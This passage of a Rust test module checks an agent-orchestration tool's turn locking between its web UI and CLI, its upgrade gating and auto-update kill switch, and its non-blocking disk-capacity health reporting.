22051            !talks.turn_held(id),
22052            "dropping the guard releases the lease"
22053        );
22054    }
22055
22056    fn consult_question(ui: &Ui) -> Question {
22057        let mut q = Question::new(
22058            "20260901-000000-consult".to_owned(),
22059            "implement".to_owned(),
22060            "impl-A".to_owned(),
22061            "Which backend?".to_owned(),
22062            String::new(),
22063            vec!["SQLite".to_owned(), "Redis".to_owned()],
22064        );
22065        ui.questions.put(&mut q).expect("question");
22066        q
22067    }
22068
22069    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22070        (
22071            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22072            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22073        )
22074    }
22075
22076    #[tokio::test]
22077    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22078        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22079        let q = consult_question(&ui);
22080        let talk = ui.talks.get(&id).expect("talk");
22081        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22082        let before = consult_snapshot(&ui, &q, &id);
22083        let cli_talks = Talks::at(ui.home.join("talks"));
22084        assert_eq!(
22085            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22086                .await
22087                .expect("CLI starter"),
22088            crate::consult::Started::Busy
22089        );
22090        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22091        assert!(ui.is_thinking(&id));
22092        drop(guard);
22093        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22094    }
22095
22096    #[tokio::test]
22097    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22098        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22099        let q = consult_question(&ui);
22100        let talk = ui.talks.get(&id).expect("talk");
22101        let started = tmp.path().join("started");
22102        let release = tmp.path().join("release");
22103        let script = tmp.path().join("consult-agent.sh");
22104        std::fs::write(
22105            &script,
22106            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22107        )
22108        .expect("script");
22109        let mut cfg = stub_config();
22110        cfg.agents[0].id = "mock".to_owned();
22111        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22112        cfg.agents[0].env = std::collections::BTreeMap::from([
22113            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22114            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22115        ]);
22116        let questions = ui.questions.clone();
22117        let cli_talks = Talks::at(ui.home.join("talks"));
22118        let cli_q = q.clone();
22119        let turn = tokio::spawn(async move {
22120            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22121        });
22122        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22123            while !started.exists() {
22124                tokio::time::sleep(Duration::from_millis(10)).await;
22125            }
22126        })
22127        .await;
22128        // Always release and join the agent, even if readiness or the web
22129        // request fails, so a failed assertion cannot leave a turn behind.
22130        let refusal = if ready.is_ok() {
22131            let before = consult_snapshot(&ui, &q, &id);
22132            let result = talk_say(
22133                State(Arc::clone(&ui)),
22134                Path(id.clone()),
22135                Ok(Json(NewTalkTurn {
22136                    reply_to: None,
22137                    text: "another message".to_owned(),
22138                    attachments: Vec::new(),
22139                })),
22140            )
22141            .await;
22142            Some((result, before, consult_snapshot(&ui, &q, &id)))
22143        } else {
22144            None
22145        };
22146        std::fs::write(&release, "").expect("release agent");
22147        let done = turn.await.expect("join CLI turn");
22148        ready.expect("agent started before deadline");
22149        let (result, before, after) = refusal.expect("web request");
22150        let error = result.expect_err("web must refuse the CLI's turn");
22151        assert_eq!(error.status, StatusCode::CONFLICT);
22152        assert!(error.message.contains("a turn is already running"));
22153        assert_eq!(
22154            after, before,
22155            "refusal preserves question, draft and history"
22156        );
22157        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22158        let guard = ui
22159            .begin_talk_turn(&id)
22160            .expect("web claim")
22161            .expect("free again");
22162        drop(guard);
22163    }
22164
22165    #[test]
22166    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22167        let home = TempDir::new().expect("temp home");
22168        let talks = Talks::at(home.path().join("talks"));
22169        let ui = Ui::new(
22170            Queue::at(home.path().join("queue")),
22171            Questions::at(home.path().join("questions")),
22172            talks.clone(),
22173            home.path().join("runs"),
22174            home.path().to_path_buf(),
22175            PathBuf::from("/repo"),
22176        )
22177        .with_worktrees_root(home.path().join("wt"));
22178        let id = "20260901-000000-order";
22179        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22180        // Hold the slot mutex so the drop can finish the lease but not the slot.
22181        let slots = ui.talk_turns.lock().unwrap();
22182        let dropper = std::thread::spawn(move || drop(turn));
22183        let start = std::time::Instant::now();
22184        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22185            std::thread::sleep(Duration::from_millis(5));
22186        }
22187        assert!(!talks.turn_held(id), "the lease is released first");
22188        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22189        drop(slots);
22190        dropper.join().expect("join");
22191        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22192    }
22193
22194    #[tokio::test]
22195    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22196        let fx = Fixture::start().await;
22197        let mut beat = crate::daemon::Status::new();
22198        beat.worker_protocol = None;
22199        beat.pid = 4321;
22200        beat.updated_at = jiff::Timestamp::now();
22201        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22202            .expect("publish a heartbeat");
22203
22204        let res = fx.post("/api/upgrade", None).await;
22205        assert_eq!(res.status, 409);
22206    }
22207
22208    /// [`should_spawn_recheck`] must refuse for the same two reasons
22209    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22210    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22211    /// Purely a predicate over config and the environment - no network, no
22212    /// disk, no runtime - so unlike the fixture-based tests around it this
22213    /// one needs neither.
22214    #[test]
22215    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22216        assert!(!should_spawn_recheck(&crate::config::Update {
22217            mode: UpdateMode::Off,
22218            interval: None,
22219            auto_restart: false,
22220        }));
22221
22222        // SAFETY: single-threaded as far as this variable goes, the same
22223        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22224        unsafe {
22225            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22226        }
22227        let killed = should_spawn_recheck(&crate::config::Update {
22228            mode: UpdateMode::Notify,
22229            interval: None,
22230            auto_restart: false,
22231        });
22232        unsafe {
22233            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22234        }
22235        assert!(
22236            !killed,
22237            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22238             one-time startup check"
22239        );
22240
22241        assert!(should_spawn_recheck(&crate::config::Update {
22242            mode: UpdateMode::Notify,
22243            interval: None,
22244            auto_restart: false,
22245        }));
22246    }
22247
22248    /// [`recheck_poll_period`] must track a configured `[update] interval`
22249    /// shorter than its own default ceiling - a fixed sleep here would leave
22250    /// an operator's short interval waiting on the next wake-up instead of on
22251    /// `should_check`, which is the same bug this whole task exists to fix,
22252    /// just one level down.
22253    #[test]
22254    fn recheck_poll_period_tracks_a_short_configured_interval() {
22255        let short = crate::config::Update {
22256            mode: UpdateMode::Notify,
22257            interval: Some("1m".to_owned()),
22258            auto_restart: false,
22259        };
22260        let period = recheck_poll_period(&short);
22261        assert!(
22262            period <= Duration::from_secs(30),
22263            "a one-minute interval must wake the task far sooner than the \
22264             default ceiling, or the deck would not notice within the \
22265             interval the operator configured: got {period:?}"
22266        );
22267
22268        let default = crate::config::Update {
22269            mode: UpdateMode::Notify,
22270            interval: None,
22271            auto_restart: false,
22272        };
22273        assert_eq!(
22274            recheck_poll_period(&default),
22275            UPDATE_RECHECK_POLL_MAX,
22276            "the default day-long interval should poll at the (capped) \
22277             ceiling rather than needlessly often"
22278        );
22279    }
22280
22281    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22282    /// same throttle `updater::Checker::should_check` already gives the
22283    /// CLI's notify mode. Built over an explicit state file via
22284    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22285    /// write the operator's real `last_update_check.json` - and therefore
22286    /// cannot flake on whatever that file happens to say on the machine
22287    /// running the test.
22288    #[test]
22289    fn recheck_skips_the_network_before_the_interval_elapses() {
22290        let dir = TempDir::new().expect("temp dir");
22291        let path = dir.path().join("state.json");
22292        let state = kaishin::UpdateCheckState {
22293            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22294            last_known_latest: None,
22295            last_known_url: None,
22296        };
22297        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22298
22299        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22300        assert!(
22301            !update_recheck_due(&checker, None),
22302            "a check made moments ago must not be repeated before the \
22303             configured interval elapses"
22304        );
22305    }
22306
22307    /// An upgrade this deck already started must not be raced by a recheck
22308    /// that discovers a newer release mid-install - regardless of what
22309    /// `should_check` says, which is why the state file here is missing
22310    /// entirely: read alone, that alone would answer "never checked, go
22311    /// ahead".
22312    #[test]
22313    fn recheck_defers_to_an_upgrade_already_in_flight() {
22314        let dir = TempDir::new().expect("temp dir");
22315        let path = dir.path().join("state.json");
22316        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22317        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22318
22319        assert!(
22320            !update_recheck_due(&checker, Some(&progress)),
22321            "a recheck must not run while an upgrade this deck started is \
22322             still moving"
22323        );
22324    }
22325
22326    #[tokio::test]
22327    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22328        // The same env var the background check honours (`disabled_by_env`)
22329        // must also stop a button press before it ever calls
22330        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22331        // means "never contact GitHub from this process", and a tap on the
22332        // upgrade button must not override that any more than a broken
22333        // `magi.toml` may. Left unset, this fixture's default config would
22334        // otherwise reach a real, unauthenticated GitHub call.
22335        //
22336        // SAFETY: single-threaded as far as this variable goes - nothing else
22337        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22338        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22339        unsafe {
22340            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22341        }
22342        let fx = Fixture::start().await;
22343        let res = fx.post("/api/upgrade", None).await;
22344        unsafe {
22345            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22346        }
22347        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22348        let body = res.json();
22349        assert!(body["to"].is_null(), "there was no release to move to");
22350        assert!(body["parked"].is_null(), "and nothing was parked");
22351        assert!(
22352            body["detail"]
22353                .as_str()
22354                .unwrap()
22355                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22356            "{body:?}"
22357        );
22358    }
22359
22360    #[test]
22361    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22362        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22363        let mut cfg = Update::default();
22364        assert!(matches!(
22365            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22366            Skip(_)
22367        ));
22368        cfg.auto_restart = true;
22369        assert_eq!(
22370            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22371            Trigger
22372        );
22373        assert_eq!(
22374            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22375            Wait
22376        );
22377        for (disabled, moving, failed) in [
22378            (true, false, None),
22379            (false, true, None),
22380            (false, false, Some("v2")),
22381        ] {
22382            assert!(matches!(
22383                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22384                Skip(_)
22385            ));
22386        }
22387        assert_eq!(
22388            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22389            Trigger
22390        );
22391        cfg.mode = UpdateMode::Off;
22392        assert!(matches!(
22393            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22394            Skip(_)
22395        ));
22396    }
22397
22398    #[test]
22399    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22400        let home = TempDir::new().unwrap();
22401        let ui = idle_ui(&home);
22402        assert!(!ui.auto_upgrade_busy());
22403        let directory = home.path().join("workers/jobs/abcdef");
22404        std::fs::create_dir_all(&directory).unwrap();
22405        let mut job = crate::worker::Job {
22406            id: "abcdef".into(),
22407            sequence: 1,
22408            kind: "scheduler".into(),
22409            key: "scheduler".into(),
22410            payload: serde_json::json!({}),
22411            generation: "test".into(),
22412            version: None,
22413            status: crate::worker::Status::Running,
22414            result: None,
22415            pid: None,
22416            created_at: 0,
22417            finished_at: None,
22418        };
22419        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22420        let write = |job: &crate::worker::Job| {
22421            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22422        };
22423        write(&job);
22424        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22425        for kind in ["task", "chat"] {
22426            job.kind = kind.into();
22427            write(&job);
22428            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22429        }
22430        drop(lease);
22431        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22432        // the descriptor. Check the real decision directly: a raw flock probe
22433        // here could itself be inherited and keep the worker looking busy.
22434        assert!(
22435            !ui.auto_upgrade_busy(),
22436            "completed execution permits updates"
22437        );
22438        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22439        assert!(
22440            ui.auto_upgrade_busy(),
22441            "unreadable worker state defers updates"
22442        );
22443    }
22444
22445    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22446        Box::pin(async { anyhow::bail!("test installer failed") })
22447    }
22448
22449    #[tokio::test]
22450    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22451        let home = TempDir::new().unwrap();
22452        std::fs::write(
22453            home.path().join("magi.toml"),
22454            "[update]\nauto_restart = true\n",
22455        )
22456        .unwrap();
22457        let mut ui = idle_ui(&home);
22458        ui.repo = home.path().to_path_buf();
22459        // Every successful trigger in this test uses this seam, never the installer.
22460        ui.upgrade_runner = fail_test_upgrade;
22461        let ui = Arc::new(ui);
22462        let latest = || {
22463            Some(kaishin::LatestRelease {
22464                tag_name: "v999.0.0".into(),
22465                html_url: String::new(),
22466            })
22467        };
22468        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22469        assert_eq!(
22470            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22471                .await
22472                .status(),
22473            StatusCode::NO_CONTENT
22474        );
22475        assert!(updater::read_progress(home.path()).is_none());
22476        ui.talk_turns.lock().unwrap().live.clear();
22477        let gate = ui.upgrade_gate.lock().await;
22478        assert_eq!(
22479            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22480                .await
22481                .status(),
22482            StatusCode::CONFLICT
22483        );
22484        drop(gate);
22485        assert_eq!(
22486            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22487                .await
22488                .status(),
22489            StatusCode::ACCEPTED
22490        );
22491        let progress = updater::read_progress(home.path()).unwrap();
22492        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22493        assert_eq!(progress.stage, updater::Stage::Downloading);
22494        assert!(progress.parked_run.is_none());
22495        assert!(ui.start_detached_loop().await.is_err());
22496        assert!(ui.start_loop(None).is_err());
22497        assert!(ui.begin_resume("late").is_err());
22498        tokio::time::timeout(Duration::from_secs(2), async {
22499            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22500                tokio::task::yield_now().await;
22501            }
22502        })
22503        .await
22504        .unwrap();
22505        let progress = updater::read_progress(home.path()).unwrap();
22506        assert_eq!(progress.stage, updater::Stage::Failed);
22507        assert_eq!(
22508            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22509                .await
22510                .status(),
22511            StatusCode::NO_CONTENT
22512        );
22513        // The manual shared path records the same progress and runs the same seam.
22514        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22515        assert_eq!(
22516            finish_upgrade_request(&ui, result).status(),
22517            StatusCode::ACCEPTED
22518        );
22519        assert_eq!(
22520            updater::read_progress(home.path()).unwrap().trigger,
22521            updater::UpgradeTrigger::Manual
22522        );
22523        tokio::time::timeout(Duration::from_secs(2), async {
22524            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22525                tokio::task::yield_now().await;
22526            }
22527        })
22528        .await
22529        .unwrap();
22530    }
22531
22532    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22533        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22534        p.stage = stage;
22535        p
22536    }
22537
22538    #[test]
22539    fn busy_stages_match_the_ui_set() {
22540        use crate::updater::Stage;
22541        assert!(APP_JS.contains(
22542            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22543        ));
22544        for s in [
22545            Stage::Downloading,
22546            Stage::Replaced,
22547            Stage::Parking,
22548            Stage::Restarting,
22549        ] {
22550            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22551        }
22552        for s in [Stage::Done, Stage::Failed] {
22553            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22554        }
22555        assert!(upgrade_in_motion(None).is_none());
22556    }
22557
22558    #[tokio::test]
22559    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22560        use crate::updater::Stage;
22561        for stage in [
22562            Stage::Downloading,
22563            Stage::Replaced,
22564            Stage::Parking,
22565            Stage::Restarting,
22566        ] {
22567            let fx = Fixture::start().await;
22568            let seeded = seeded_progress(stage);
22569            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22570            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22571                .expect("read");
22572
22573            let res = fx.post("/api/upgrade", None).await;
22574            assert_eq!(res.status, 409, "{stage:?}");
22575            let err = res.json()["error"].as_str().unwrap().to_owned();
22576            assert!(err.contains("already in progress"), "{err}");
22577            assert!(err.contains(stage.as_str()), "{err}");
22578
22579            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22580                .expect("read");
22581            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22582            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22583                .unwrap_or_default();
22584            assert!(!log.contains("signalling HANDOVER"), "{log}");
22585        }
22586    }
22587
22588    #[test]
22589    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22590        assert_eq!(
22591            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22592            Some(3723)
22593        );
22594        assert_eq!(
22595            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22596            Some(60)
22597        );
22598        assert_eq!(
22599            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22600            Some(0)
22601        );
22602        for message in [
22603            "permission denied",
22604            "GitHub API rate limit exceeded",
22605            "GitHub rate limit (resets in unknown)",
22606            "GitHub rate limit (resets in 18446744073709551615d)",
22607        ] {
22608            assert_eq!(upgrade_retry_after(message), None, "{message}");
22609        }
22610    }
22611
22612    #[tokio::test]
22613    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22614        let home = TempDir::new().unwrap();
22615        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22616        ui.start_loop(None).unwrap();
22617        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22618        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22619        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22620        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22621        let response = finish_upgrade_request(&ui, result);
22622        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22623        assert_eq!(response.headers()["retry-after"], "120");
22624        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22625            .await
22626            .unwrap();
22627        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22628        assert!(body["error"].as_str().unwrap().contains(reason));
22629        assert_eq!(body["retry_after_secs"], 120);
22630        assert!(body["retry_at"].as_u64().is_some());
22631        for _ in 0..2 {
22632            let view = health(State(ui.clone())).await.unwrap().0;
22633            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22634            assert_eq!(failure, body);
22635        }
22636        assert_eq!(
22637            std::fs::read(updater::progress_path(home.path())).unwrap(),
22638            before
22639        );
22640        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22641        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22642        // A conflicting request must not erase the actionable earlier failure.
22643        let gate = ui.upgrade_gate.lock().await;
22644        assert_eq!(
22645            upgrade_post(State(ui.clone())).await.status(),
22646            StatusCode::CONFLICT
22647        );
22648        drop(gate);
22649        assert!(
22650            health(State(ui.clone()))
22651                .await
22652                .unwrap()
22653                .0
22654                .upgrade_request_error
22655                .is_some()
22656        );
22657        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22658        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22659        assert!(
22660            health(State(ui.clone()))
22661                .await
22662                .unwrap()
22663                .0
22664                .upgrade_request_error
22665                .is_none()
22666        );
22667        let live = ui.lock_loop().live.take().unwrap();
22668        live.stop.stop();
22669        live.handle.await.unwrap();
22670    }
22671
22672    #[tokio::test]
22673    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22674        use crate::updater::Stage;
22675        let repo = TempDir::new().expect("repo dir");
22676        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22677            .expect("write magi.toml");
22678        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22679        for stage in [Stage::Done, Stage::Failed] {
22680            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22681            let res = fx.post("/api/upgrade", None).await;
22682            assert_eq!(res.status, 200, "{stage:?}");
22683        }
22684        // No record at all, and the gate was released by the earlier calls.
22685        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22686        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22687    }
22688
22689    #[tokio::test]
22690    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22691        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22692        // and the route answers from its own logic.
22693        //
22694        // This test used to lean on the fixture's placeholder repo failing
22695        // config discovery, which left `mode = "notify"` - and a live,
22696        // unauthenticated call to the GitHub releases API inside a unit test.
22697        // GitHub allows 60 of those an hour per address, so the suite went red
22698        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22699        // long as somebody kept re-running it: every attempt spent another
22700        // request. Six reruns across four pull requests were charged to that
22701        // before it was read as a rate limit rather than a flake.
22702        //
22703        // What the assertion is about is the "already current" branch, which
22704        // is reached by there being no newer release *or* nowhere to look. The
22705        // second one needs no network and cannot be rate limited.
22706        let repo = TempDir::new().expect("repo dir");
22707        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22708            .expect("write magi.toml");
22709        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22710
22711        // It must answer 200 and leave the process alone: restarting for an
22712        // upgrade that did not happen parks the run in flight and drops every
22713        // connection to pay for nothing. A probe against a deck already on the
22714        // newest build did exactly that, which is how this case got its own
22715        // branch.
22716        let res = fx.post("/api/upgrade", None).await;
22717        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22718        let body = res.json();
22719        assert!(body["to"].is_null(), "there was no release to move to");
22720        assert!(body["parked"].is_null(), "and nothing was parked");
22721        assert!(
22722            body["detail"]
22723                .as_str()
22724                .unwrap()
22725                .contains("nothing restarted"),
22726            "{body:?}"
22727        );
22728    }
22729
22730    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22731        tokio::time::timeout(Duration::from_secs(5), async {
22732            while state.lock().unwrap().in_flight {
22733                tokio::task::yield_now().await;
22734            }
22735        })
22736        .await
22737        .expect("capacity scan finished");
22738    }
22739
22740    fn disk_test_scope(home: &FsPath) -> DiskScope {
22741        DiskScope {
22742            runs: home.join("runs"),
22743            worktrees: home.join("worktrees"),
22744            cache: Some(home.join("cache")),
22745        }
22746    }
22747
22748    fn known_disk_capacity() -> DiskCapacity {
22749        DiskCapacity {
22750            free_bytes: Some(100),
22751            runs_bytes: Some(200),
22752            worktrees_bytes: Some(300),
22753            cache_bytes: Some(400),
22754        }
22755    }
22756
22757    #[tokio::test]
22758    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22759        let home = TempDir::new().unwrap();
22760        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22761        let mut ui = delta_test_ui(home.path());
22762        let state = Arc::get_mut(&mut ui).unwrap();
22763        state.repo = home.path().to_owned();
22764        state.worktrees_root = home.path().join("worktrees");
22765        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22766        ui.monitor
22767            .worker_started
22768            .store(true, std::sync::atomic::Ordering::SeqCst);
22769        let cfg = deputy_config(&ui.repo);
22770        let scope = DiskScope::of(&ui, cfg.as_ref());
22771        let (started, reached) = tokio::sync::oneshot::channel();
22772        let (release, blocked) = std::sync::mpsc::channel();
22773        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22774            started.send(()).unwrap();
22775            blocked.recv().unwrap();
22776            known_disk_capacity()
22777        });
22778        assert!(cold.runs_bytes.is_none());
22779        tokio::time::timeout(Duration::from_secs(5), reached)
22780            .await
22781            .unwrap()
22782            .unwrap();
22783
22784        let requests: Vec<_> = (0..4)
22785            .map(|_| {
22786                let ui = ui.clone();
22787                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22788            })
22789            .collect();
22790        tokio::time::timeout(Duration::from_secs(5), async {
22791            for request in requests {
22792                let view = request.await.unwrap();
22793                let disk = serde_json::to_value(view.disk).unwrap();
22794                assert!(disk["runs_bytes"].is_null());
22795                assert!(disk["worktrees_bytes"].is_null());
22796                // Free space is a cheap live observation even while the
22797                // recursive capacity measurement remains blocked.
22798                assert!(disk["free_bytes"].is_u64());
22799            }
22800        })
22801        .await
22802        .expect("health must return while the measurement is causally blocked");
22803        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22804        // No competing worker can have published while the first holds flight.
22805        assert!(
22806            ui.monitor
22807                .disk
22808                .lock()
22809                .unwrap()
22810                .capacity
22811                .runs_bytes
22812                .is_none()
22813        );
22814        release.send(()).unwrap();
22815        wait_for_disk_scan(&ui.monitor.disk).await;
22816        assert_eq!(
22817            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22818            Some(200)
22819        );
22820    }
22821
22822    #[tokio::test]
22823    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22824        let home = TempDir::new().unwrap();
22825        let scope = disk_test_scope(home.path());
22826        let state = Arc::new(Mutex::new(DiskObservation {
22827            scope: Some(scope.clone()),
22828            capacity: known_disk_capacity(),
22829            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22830            ..Default::default()
22831        }));
22832        let (started, reached) = tokio::sync::oneshot::channel();
22833        let (release, blocked) = std::sync::mpsc::channel();
22834        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22835            started.send(()).unwrap();
22836            blocked.recv().unwrap();
22837            DiskCapacity {
22838                runs_bytes: Some(250),
22839                ..Default::default()
22840            }
22841        });
22842        assert_eq!(before.cache_bytes, Some(400));
22843        tokio::time::timeout(Duration::from_secs(5), reached)
22844            .await
22845            .unwrap()
22846            .unwrap();
22847        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22848        for _ in 0..4 {
22849            let scans = duplicate_scans.clone();
22850            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22851                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22852                DiskCapacity::default()
22853            });
22854            assert_eq!(during.runs_bytes, Some(200));
22855            assert_eq!(during.cache_bytes, Some(400));
22856        }
22857        release.send(()).unwrap();
22858        wait_for_disk_scan(&state).await;
22859        let scans = duplicate_scans.clone();
22860        let after = DiskObservation::observe(&state, scope, move |_| {
22861            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22862            DiskCapacity::default()
22863        });
22864        wait_for_disk_scan(&state).await;
22865        assert_eq!(after.runs_bytes, Some(250));
22866        assert_eq!(after.free_bytes, Some(100));
22867        assert_eq!(after.cache_bytes, Some(400));
22868        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22869        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22870    }
22871
22872    #[tokio::test]
22873    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22874        let home = TempDir::new().unwrap();
22875        let old_scope = disk_test_scope(home.path());
22876        let mut new_scope = old_scope.clone();
22877        new_scope.cache = Some(home.path().join("replacement-cache"));
22878        let state = Arc::new(Mutex::new(DiskObservation {
22879            scope: Some(old_scope.clone()),
22880            capacity: known_disk_capacity(),
22881            ..Default::default()
22882        }));
22883        let (started, reached) = tokio::sync::oneshot::channel();
22884        let (release, blocked) = std::sync::mpsc::channel();
22885        DiskObservation::observe(&state, old_scope, move |_| {
22886            started.send(()).unwrap();
22887            blocked.recv().unwrap();
22888            known_disk_capacity()
22889        });
